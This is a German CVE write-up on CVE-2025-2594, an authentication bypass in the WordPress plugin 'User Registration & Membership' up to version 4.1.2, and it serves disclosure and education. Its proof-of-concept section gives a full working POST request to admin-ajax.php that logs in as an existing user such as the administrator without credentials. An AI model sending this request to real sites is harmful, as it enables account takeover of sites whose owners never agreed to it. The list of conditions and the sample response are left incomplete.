CVE-2025-2594

User Registration & Membership <= 4.1.2 - Authentifizierungsumgehung

Haftungsausschluss!

Die Informationen in diesem CVE-Writeup (Common Vulnerabilities and Exposures) dienen ausschließlich Bildungs- und Informationszwecken. Die bereitgestellten Details basieren auf öffentlich zugänglichen Ressourcen, Recherchen und Analysen des Autors. Der Inhalt ist nicht dazu gedacht, illegale Aktivitäten wie Hacking, Ausnutzung von Schwachstellen oder unbefugten Zugriff auf Systeme zu fördern oder zu ermutigen.

Der Autor übernimmt keinerlei Verantwortung für eine missbräuchliche Verwendung der dargestellten Informationen. Einzelpersonen und Organisationen wird empfohlen, dieses Wissen verantwortungsbewusst und in Übereinstimmung mit den geltenden Gesetzen und Vorschriften anzuwenden. Leser werden nachdrücklich aufgefordert, Schwachstellen nur in kontrollierten Umgebungen mit entsprechender Autorisierung zu testen.

Der Autor und die Mitwirkenden dieses Writeups unterstützen oder befürworten keine böswilligen Aktivitäten und fördern verantwortungsvolle Offenlegung sowie ethische Hacking-Praktiken.

---

Beschreibung

Eine kritische Sicherheitslücke wurde im WordPress-Plugin „User Registration & Membership“ entdeckt, einem beliebten Tool zur Erstellung von Mitgliederseiten und Registrierungsformularen. Der als CVE-2025-2594 identifizierte Fehler hat einen CVSS-Score von 8.1, was seine hohe Schwere widerspiegelt.

Das Plugin User Registration & Membership für WordPress ist in Versionen bis einschließlich 4.1.2 anfällig für eine Authentifizierungsumgehung. Dies ist auf eine fehlerhafte Authentifizierung in der Funktion 'confirm_payment()' zurückzuführen. Dadurch ist es nicht authentifizierten Angreifern möglich, sich als ein bestehender Benutzer auf der Website anzumelden, sogar als Administrator, sofern die folgenden Bedingungen erfüllt sind:

1. Das Membership-Add-on des Plugins ist aktiviert

---

PoC (Proof of Concept)

1. Holen Sie sich das _confirm_payment_nonce auf der Registrierungsseite
2. Beispiel-Anfragedaten
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: PostmanRuntime/7.43.3
   Accept: */*
   Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
   Content-Length: 565
   
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_confirm_payment
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="security"
   
   CONFIRM_PAYMENT_NONCE
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="form_response"
   
   { "auto_login": true }
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="member_id"
   
   1
   ----------------------------705549092016875046023302--
   

3. Die Antwort muss wie folgt aussehen
   root@kitploit:~

   {"success":true,"data":{"message":null}}
   

4. Beispielantwort

---

Referenzen

1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

Danke

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii